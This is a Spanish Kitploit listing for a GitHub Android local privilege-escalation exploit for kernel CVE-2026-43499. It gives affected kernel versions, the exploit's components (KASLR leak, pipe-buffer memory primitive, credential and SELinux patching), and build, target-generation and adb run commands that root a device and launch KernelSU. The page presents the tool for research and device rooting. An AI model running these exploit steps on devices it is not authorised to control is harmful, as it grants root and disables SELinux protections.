Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
asus_i005-CVE-2026-43499 — Exploit de escalada de privilegios local en Android para CVE-2026-43499 que parchea las credenciales del kernel y lanza KernelSU embebido en modo de carga tardía mediante LD_PRELOAD. | Kitploit
Herramientas/GitHubGitHub/huaguiqi/asus_i005-cve-2026-43499
Seguridad AndroidEscalada de PrivilegiosExplotaciónPost-ExplotaciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubhuaguiqi/asus_i005-cve-2026-43499

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

asus_i005-CVE-2026-43499

Exploit de escalada de privilegios local en Android para CVE-2026-43499 que parchea las credenciales del kernel y lanza KernelSU embebido en modo de carga tardía mediante LD_PRELOAD.

Ver Repositorio
hace 4h 7mAún no revisado

CVE-2026-43499-root-KernelSU

Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integrando KernelSU embebido. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Soporta la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img.

Adaptación de escalada de privilegios local basada en una vulnerabilidad del kernel, integrando KernelSU embebido. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Soporta la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img. u otra forma

Proyectos de referencia:

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya otorgado autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por cualquier uso indebido de este proyecto ni por daños, pérdidas o consecuencias legales derivadas de su uso.

免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果,均由使用者自行承担,项目作者及贡献者不承担任何责任。

Alcance de afectación

Cuando su versión del kernel sea {Linux Kernel}, se encuentra dentro del alcance de afectación de esta vulnerabilidad

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Estado actual

TargetEstado
rodin(默认)Verificado
Otros src/targets/*Referencia

Estructura de directorios

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Compilación

Dependencias

  • Host Linux
  • Android NDK
    • Ruta predeterminada: ~/android-ndk-r29
    • O configurar: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Compilación

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Salida:

root@kitploit:~
build/<target>/bin/preload.so

Ver targets disponibles

root@kitploit:~
make list-projects

Generar target.h

Este repositorio ya incluye scripts unificados de generación de target:

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py es el script de entrada. Toma como referencia y encapsula todos los flujos de generación de target del directorio padre, y finalmente genera el src/targets/<project>/target.h completo adaptado al código fuente de este repositorio.

El script no fuerza la validación de CONFIG_DEBUG_INFO_BTF=y en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño de percpu entry_task no pueden verificarse, imprimirá una advertencia y continuará la generación.

Si la imagen no contiene ningún BTF utilizable, por ejemplo si aparece:

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

El generador entrará en fallback sin BTF:

  • Continuará recuperando los desplazamientos de símbolos de funciones/objetos globales desde kallsyms del boot.img actual;
  • Las macros de campos de estructura/layout que no puedan recuperarse desde BTF heredarán del target plantilla, siendo la plantilla predeterminada rodin;
  • En la parte superior del header generado se escribirá una advertencia, indicando without BTF y la plantilla utilizada;
  • Este tipo de header garantiza que sea compilable en la medida de lo posible, pero la fiabilidad en ejecución requiere verificación en dispositivo real.

Se puede especificar la plantilla de fallback:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Generar usando boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Se escribe por defecto en:

root@kitploit:~
src/targets/<project>/target.h

También se puede llamar directamente al script:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json debe contener información de direcciones físicas, por ejemplo:

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Detectar profile desde un dispositivo ADB con root

Solo generar profile:

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Detectar profile y generar target inmediatamente:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Generar con (xbl_config.img / vendor_boot.img) + boot.img

El script también expone otras entradas soportadas por el generador del directorio padre:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Ejemplo
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Forma de salida exitosa:

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin conservará por defecto el valor verificado en dispositivo real:

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Si se necesita sobrescribir:

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Añadir un nuevo target

Se recomienda generar a partir de la imagen de arranque y el profile correspondientes:

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Un header de target completo incluirá:

  • Constantes de direct map / physical profile
  • Desplazamientos de objetos KASLR slide
  • Desplazamientos de task / cred / SELinux
  • Desplazamientos de pipe / fops / configfs
  • Valores de layout de pselect, por ejemplo PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ y valores de ajuste de KernelSnitch

Ejecución

El código fuente actual ya tiene escritos los valores predeterminados; para una ejecución normal solo se necesita configurar LD_PRELOAD y ejecutar cualquier programa (se recomienda toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Parámetros de ejecución predeterminados

La configuración predeterminada actual es la siguiente:

Comportamiento del comando ksud realmente ejecutado por defecto:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Estas variables de entorno aún pueden sobrescribirse en tiempo de ejecución, por ejemplo:

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Reutilizar el ksud ya escrito:

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Limpieza

root@kitploit:~
make clean

make clean conservará build/embed/ksud, porque src/ksud_blob.S lo embebe de la siguiente manera:

root@kitploit:~
.incbin "build/embed/ksud"

Si una limpieza manual provoca la pérdida de build/embed/ksud, se puede restaurar:

root@kitploit:~
git checkout -- build/embed/ksud

Preguntas frecuentes

.incbin "build/embed/ksud" not found

Restaurar el payload embebido y recompilar:

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

La ruta FOPS devuelve success=0

rodin espera usar el layout legacy/simple de pselect:

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Si el estado del dispositivo ha sido contaminado por intentos fallidos, reiniciar directamente y volver a intentar:

root@kitploit:~
adb reboot

F_SETPIPE_SZ devuelve EPERM

Normalmente es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiar:

root@kitploit:~
adb reboot

ksud se inicia pero /proc/modules no tiene KernelSU

Ver los registros:

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Si es necesario, ejecutar manualmente en un shell root:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Licencia

GPL-3.0. Ver LICENSE.

Descargar herramienta
ConfiguraciónValor predeterminadoDescripción
KSUD_LATE_LOAD1Ejecuta ksud late-load
KSUD_ALLOW_SHELL1Pasa --allow-shell
KSUD_PACKAGEme.weishu.kernelsuNombre del paquete del gestor pasado a ksud (parece no surtir efecto)
KSUD_DST/data/local/tmp/ksudRuta de escritura del ksud embebido
KSUD_SKIP_WRITE0Escribe el ksud embebido por defecto
KSUD_DEFER_TO_PARENT1Inicia ksud desde la ruta del proceso padre/actual ya parcheado
ROOT_PATCH_SELF1Parchea el proceso actual a uid 0
DISABLE_SELINUX1Al parchear root, escribe SELinux enforcing como permissive
ROOT_EXIT_SLEEPunset / 0No hacer sleep adicional antes de retornar